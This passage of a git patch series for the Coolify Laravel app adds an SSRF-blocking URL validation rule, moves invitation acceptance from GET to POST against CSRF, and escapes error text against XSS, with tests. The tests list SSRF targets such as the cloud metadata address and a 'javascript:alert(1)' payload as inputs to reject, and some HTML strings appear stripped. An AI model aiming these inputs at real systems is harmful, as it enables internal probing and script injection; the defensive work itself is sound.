use App\Jobs\GithubAppPermissionJob;
use App\Models\GithubApp;
use App\Models\PrivateKey;
+use App\Rules\SafeExternalUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Http;
use Lcobucci\JWT\Configuration;
@@ -71,24 +72,27 @@ class Change extends Component
public $privateKeys;
- protected $rules = [
- 'name' => 'required|string',
- 'organization' => 'nullable|string',
- 'apiUrl' => 'required|string',
- 'htmlUrl' => 'required|string',
- 'customUser' => 'required|string',
- 'customPort' => 'required|int',
- 'appId' => 'nullable|int',
- 'installationId' => 'nullable|int',
- 'clientId' => 'nullable|string',
- 'clientSecret' => 'nullable|string',
- 'webhookSecret' => 'nullable|string',
- 'isSystemWide' => 'required|bool',
- 'contents' => 'nullable|string',
- 'metadata' => 'nullable|string',
- 'pullRequests' => 'nullable|string',
- 'privateKeyId' => 'nullable|int',
- ];
+ protected function rules(): array
+ {
+ return [
+ 'name' => 'required|string',
+ 'organization' => 'nullable|string',
+ 'apiUrl' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'htmlUrl' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'customUser' => 'required|string',
+ 'customPort' => 'required|int',
+ 'appId' => 'nullable|int',
+ 'installationId' => 'nullable|int',
+ 'clientId' => 'nullable|string',
+ 'clientSecret' => 'nullable|string',
+ 'webhookSecret' => 'nullable|string',
+ 'isSystemWide' => 'required|bool',
+ 'contents' => 'nullable|string',
+ 'metadata' => 'nullable|string',
+ 'pullRequests' => 'nullable|string',
+ 'privateKeyId' => 'nullable|int',
+ ];
+ }
public function boot()
{
diff --git a/app/Livewire/Source/Github/Create.php b/app/Livewire/Source/Github/Create.php
index 4ece6a92f..ec2ba3f08 100644
--- a/app/Livewire/Source/Github/Create.php
+++ b/app/Livewire/Source/Github/Create.php
@@ -3,6 +3,7 @@
namespace App\Livewire\Source\Github;
use App\Models\GithubApp;
+use App\Rules\SafeExternalUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -37,8 +38,8 @@ public function createGitHubApp()
$this->validate([
'name' => 'required|string',
'organization' => 'nullable|string',
- 'api_url' => 'required|string',
- 'html_url' => 'required|string',
+ 'api_url' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'html_url' => ['required', 'string', 'url', new SafeExternalUrl],
'custom_user' => 'required|string',
'custom_port' => 'required|int',
'is_system_wide' => 'required|bool',
diff --git a/app/Rules/SafeExternalUrl.php b/app/Rules/SafeExternalUrl.php
new file mode 100644
index 000000000..41299d6c1
--- /dev/null
+++ b/app/Rules/SafeExternalUrl.php
@@ -0,0 +1,81 @@
+ $attribute,
+ 'url' => $value,
+ 'host' => $host,
+ 'ip' => request()->ip(),
+ 'user_id' => auth()->id(),
+ ]);
+ $fail('The :attribute must not point to internal hosts.');
+
+ return;
+ }
+
+ // Resolve hostname to IP and block private/reserved ranges
+ $ip = gethostbyname($host);
+
+ // gethostbyname returns the original hostname on failure (e.g. unresolvable)
+ if ($ip === $host && ! filter_var($host, FILTER_VALIDATE_IP)) {
+ $fail('The :attribute host could not be resolved.');
+
+ return;
+ }
+
+ if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ Log::warning('External URL resolves to private or reserved IP', [
+ 'attribute' => $attribute,
+ 'url' => $value,
+ 'host' => $host,
+ 'resolved_ip' => $ip,
+ 'ip' => request()->ip(),
+ 'user_id' => auth()->id(),
+ ]);
+ $fail('The :attribute must not point to a private or reserved IP address.');
+
+ return;
+ }
+ }
+}
diff --git a/tests/Unit/SafeExternalUrlTest.php b/tests/Unit/SafeExternalUrlTest.php
new file mode 100644
index 000000000..b2bc13337
--- /dev/null
+++ b/tests/Unit/SafeExternalUrlTest.php
@@ -0,0 +1,75 @@
+ $url], ['url' => $rule]);
+ expect($validator->passes())->toBeTrue("Expected valid: {$url}");
+ }
+});
+
+it('rejects private IPv4 addresses', function (string $url) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $url], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
+})->with([
+ 'loopback' => 'http://127.0.0.1',
+ 'loopback with port' => 'http://127.0.0.1:6379',
+ '10.x range' => 'http://10.0.0.1',
+ '172.16.x range' => 'http://172.16.0.1',
+ '192.168.x range' => 'http://192.168.1.1',
+]);
+
+it('rejects cloud metadata IP', function () {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
+});
+
+it('rejects localhost and internal hostnames', function (string $url) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $url], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
+})->with([
+ 'localhost' => 'http://localhost',
+ 'localhost with port' => 'http://localhost:8080',
+ 'zero address' => 'http://0.0.0.0',
+ '.local domain' => 'http://myservice.local',
+ '.internal domain' => 'http://myservice.internal',
+]);
+
+it('rejects non-URL strings', function (string $value) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $value], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
+})->with([
+ 'plain string' => 'not-a-url',
+ 'ftp scheme' => 'ftp://example.com',
+ 'javascript scheme' => 'javascript:alert(1)',
+ 'no scheme' => 'example.com',
+]);
+
+it('rejects URLs with IPv6 loopback', function () {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
+});
From 25d424c743d5134d4a005a6d8f754bb3235b632c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 14:30:27 +0100
Subject: [PATCH 055/118] refactor: split invitation endpoint into GET (show)
and POST (accept)
Refactor the invitation acceptance flow to use a landing page pattern:
- GET shows invitation details (team name, role, confirmation button)
- POST processes the acceptance with proper form submission
- Remove unused revoke GET route (handled by Livewire component)
- Add Blade view for the invitation landing page
- Add feature tests for the new invitation flow
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Controller.php | 62 ++++----
resources/views/invitation/accept.blade.php | 43 +++++
routes/web.php | 9 +-
.../TeamInvitationCsrfProtectionTest.php | 147 ++++++++++++++++++
4 files changed, 226 insertions(+), 35 deletions(-)
create mode 100644 resources/views/invitation/accept.blade.php
create mode 100644 tests/Feature/TeamInvitationCsrfProtectionTest.php
diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php
index 09007ad96..17d14296b 100644
--- a/app/Http/Controllers/Controller.php
+++ b/app/Http/Controllers/Controller.php
@@ -108,9 +108,31 @@ public function link()
return redirect()->route('login')->with('error', 'Invalid credentials.');
}
+ public function showInvitation()
+ {
+ $invitationUuid = request()->route('uuid');
+ $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail();
+ $user = User::whereEmail($invitation->email)->firstOrFail();
+
+ if (Auth::id() !== $user->id) {
+ abort(400, 'You are not allowed to accept this invitation.');
+ }
+
+ if (! $invitation->isValid()) {
+ abort(400, 'Invitation expired.');
+ }
+
+ $alreadyMember = $user->teams()->where('team_id', $invitation->team->id)->exists();
+
+ return view('invitation.accept', [
+ 'invitation' => $invitation,
+ 'team' => $invitation->team,
+ 'alreadyMember' => $alreadyMember,
+ ]);
+ }
+
public function acceptInvitation()
{
- $resetPassword = request()->query('reset-password');
$invitationUuid = request()->route('uuid');
$invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail();
@@ -119,43 +141,21 @@ public function acceptInvitation()
if (Auth::id() !== $user->id) {
abort(400, 'You are not allowed to accept this invitation.');
}
- $invitationValid = $invitation->isValid();
- if ($invitationValid) {
- if ($resetPassword) {
- $user->update([
- 'password' => Hash::make($invitationUuid),
- 'force_password_reset' => true,
- ]);
- }
- if ($user->teams()->where('team_id', $invitation->team->id)->exists()) {
- $invitation->delete();
-
- return redirect()->route('team.index');
- }
- $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]);
- $invitation->delete();
-
- refreshSession($invitation->team);
-
- return redirect()->route('team.index');
- } else {
+ if (! $invitation->isValid()) {
abort(400, 'Invitation expired.');
}
- }
- public function revokeInvitation()
- {
- $invitation = TeamInvitation::whereUuid(request()->route('uuid'))->firstOrFail();
- $user = User::whereEmail($invitation->email)->firstOrFail();
- if (is_null(Auth::user())) {
- return redirect()->route('login');
- }
- if (Auth::id() !== $user->id) {
- abort(401);
+ if ($user->teams()->where('team_id', $invitation->team->id)->exists()) {
+ $invitation->delete();
+
+ return redirect()->route('team.index');
}
+ $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]);
$invitation->delete();
+ refreshSession($invitation->team);
+
return redirect()->route('team.index');
}
}
diff --git a/resources/views/invitation/accept.blade.php b/resources/views/invitation/accept.blade.php
new file mode 100644
index 000000000..7e4773866
--- /dev/null
+++ b/resources/views/invitation/accept.blade.php
@@ -0,0 +1,43 @@
+
+
+
+
+
+
+ Coolify
+
+
+
+
+
+
Team Invitation
+
+
+ You have been invited to join:
+
+
+ {{ $team->name }}
+
+
+
+ Role: {{ ucfirst($invitation->role) }}
+
+
+ @if ($alreadyMember)
+
+
You are already a member of this team.
+
+ @endif
+
+
+
+
+
+
+
+
diff --git a/routes/web.php b/routes/web.php
index 4154fefab..dfb44324c 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -84,6 +84,7 @@
use App\Livewire\Team\Member\Index as TeamMemberIndex;
use App\Livewire\Terminal\Index as TerminalIndex;
use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ServiceDatabase;
use App\Providers\RouteServiceProvider;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\Storage;
@@ -192,8 +193,8 @@
})->name('terminal.auth.ips')->middleware('can.access.terminal');
Route::prefix('invitations')->group(function () {
- Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
- Route::get('/{uuid}/revoke', [Controller::class, 'revokeInvitation'])->name('team.invitation.revoke');
+ Route::get('/{uuid}', [Controller::class, 'showInvitation'])->name('team.invitation.show');
+ Route::post('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
});
Route::get('/projects', ProjectIndex::class)->name('project.index');
@@ -344,7 +345,7 @@
}
}
$filename = data_get($execution, 'filename');
- if ($execution->scheduledDatabaseBackup->database->getMorphClass() === \App\Models\ServiceDatabase::class) {
+ if ($execution->scheduledDatabaseBackup->database->getMorphClass() === ServiceDatabase::class) {
$server = $execution->scheduledDatabaseBackup->database->service->destination->server;
} else {
$server = $execution->scheduledDatabaseBackup->database->destination->server;
@@ -385,7 +386,7 @@
'Content-Type' => 'application/octet-stream',
'Content-Disposition' => 'attachment; filename="'.basename($filename).'"',
]);
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
return response()->json(['message' => $e->getMessage()], 500);
}
})->name('download.backup');
diff --git a/tests/Feature/TeamInvitationCsrfProtectionTest.php b/tests/Feature/TeamInvitationCsrfProtectionTest.php
new file mode 100644
index 000000000..1e911ed86
--- /dev/null
+++ b/tests/Feature/TeamInvitationCsrfProtectionTest.php
@@ -0,0 +1,147 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create(['email' => 'invited@example.com']);
+
+ $this->invitation = TeamInvitation::create([
+ 'team_id' => $this->team->id,
+ 'uuid' => 'test-invitation-uuid',
+ 'email' => 'invited@example.com',
+ 'role' => 'member',
+ 'link' => url('/invitations/test-invitation-uuid'),
+ 'via' => 'link',
+ ]);
+});
+
+test('GET invitation shows landing page without accepting', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(200);
+ $response->assertViewIs('invitation.accept');
+ $response->assertSee($this->team->name);
+ $response->assertSee('Accept Invitation');
+
+ // Invitation should NOT be deleted (not accepted yet)
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should NOT be added to the team
+ expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse();
+});
+
+test('GET invitation with reset-password query param does not reset password', function () {
+ $this->actingAs($this->user);
+ $originalPassword = $this->user->password;
+
+ $response = $this->get('/invitations/test-invitation-uuid?reset-password=1');
+
+ $response->assertStatus(200);
+
+ // Password should NOT be changed
+ $this->user->refresh();
+ expect($this->user->password)->toBe($originalPassword);
+
+ // Invitation should NOT be accepted
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('POST invitation accepts and adds user to team', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect(route('team.index'));
+
+ // Invitation should be deleted
+ $this->assertDatabaseMissing('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should be added to the team
+ expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue();
+});
+
+test('POST invitation without CSRF token is rejected', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->withoutMiddleware(EncryptCookies::class)
+ ->post('/invitations/test-invitation-uuid', [], [
+ 'X-CSRF-TOKEN' => 'invalid-token',
+ ]);
+
+ // Should be rejected with 419 (CSRF token mismatch)
+ $response->assertStatus(419);
+
+ // Invitation should NOT be accepted
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('unauthenticated user cannot view invitation', function () {
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect();
+});
+
+test('wrong user cannot view invitation', function () {
+ $otherUser = User::factory()->create(['email' => 'other@example.com']);
+ $this->actingAs($otherUser);
+
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(400);
+});
+
+test('wrong user cannot accept invitation via POST', function () {
+ $otherUser = User::factory()->create(['email' => 'other@example.com']);
+ $this->actingAs($otherUser);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(400);
+
+ // Invitation should still exist
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('GET revoke route no longer exists', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->get('/invitations/test-invitation-uuid/revoke');
+
+ $response->assertStatus(404);
+});
+
+test('POST invitation for already-member user deletes invitation without duplicating', function () {
+ $this->user->teams()->attach($this->team->id, ['role' => 'member']);
+ $this->actingAs($this->user);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect(route('team.index'));
+
+ // Invitation should be deleted
+ $this->assertDatabaseMissing('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should still have exactly one membership in this team
+ expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1);
+});
From 103d5b6c0634644b8e1bc01bf8540480aef65d0a Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 18:36:36 +0100
Subject: [PATCH 056/118] fix: sanitize error output in server validation logs
Escape dynamic error messages with htmlspecialchars() before
concatenating into HTML strings stored in validation_logs. Add a
Purify-based mutator on Server model as defense-in-depth, with a
dedicated HTMLPurifier config that allows only safe structural tags.
Co-Authored-By: Claude Opus 4.6
---
app/Actions/Server/ValidateServer.php | 3 +-
app/Jobs/ValidateAndInstallServerJob.php | 5 +-
app/Livewire/Server/PrivateKey/Show.php | 3 +-
app/Livewire/Server/ValidateAndInstall.php | 3 +-
app/Models/Server.php | 7 ++
config/purify.php | 11 ++++
tests/Feature/ServerValidationXssTest.php | 75 ++++++++++++++++++++++
7 files changed, 102 insertions(+), 5 deletions(-)
create mode 100644 tests/Feature/ServerValidationXssTest.php
diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php
index 0a20deae5..22c48aa89 100644
--- a/app/Actions/Server/ValidateServer.php
+++ b/app/Actions/Server/ValidateServer.php
@@ -30,7 +30,8 @@ public function handle(Server $server)
]);
['uptime' => $this->uptime, 'error' => $error] = $server->validateConnection();
if (! $this->uptime) {
- $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$error.'
';
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$sanitizedError.'
';
$server->update([
'validation_logs' => $this->error,
]);
diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php
index 288904471..ee8cf2797 100644
--- a/app/Jobs/ValidateAndInstallServerJob.php
+++ b/app/Jobs/ValidateAndInstallServerJob.php
@@ -45,7 +45,8 @@ public function handle(): void
// Validate connection
['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection();
if (! $uptime) {
- $errorMessage = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$error;
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $errorMessage = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$sanitizedError;
$this->server->update([
'validation_logs' => $errorMessage,
'is_validating' => false,
@@ -197,7 +198,7 @@ public function handle(): void
]);
$this->server->update([
- 'validation_logs' => 'An error occurred during validation: '.$e->getMessage(),
+ 'validation_logs' => 'An error occurred during validation: '.htmlspecialchars($e->getMessage(), ENT_QUOTES, 'UTF-8'),
'is_validating' => false,
]);
}
diff --git a/app/Livewire/Server/PrivateKey/Show.php b/app/Livewire/Server/PrivateKey/Show.php
index fd55717fa..810b95ed4 100644
--- a/app/Livewire/Server/PrivateKey/Show.php
+++ b/app/Livewire/Server/PrivateKey/Show.php
@@ -63,7 +63,8 @@ public function checkConnection()
$this->dispatch('success', 'Server is reachable.');
$this->dispatch('refreshServerShow');
} else {
- $this->dispatch('error', 'Server is not reachable.
Error: '.$sanitizedError);
return;
}
diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php
index 198d823b9..59ca4cd36 100644
--- a/app/Livewire/Server/ValidateAndInstall.php
+++ b/app/Livewire/Server/ValidateAndInstall.php
@@ -89,7 +89,8 @@ public function validateConnection()
$this->authorize('update', $this->server);
['uptime' => $this->uptime, 'error' => $error] = $this->server->validateConnection();
if (! $this->uptime) {
- $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$error.'
';
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.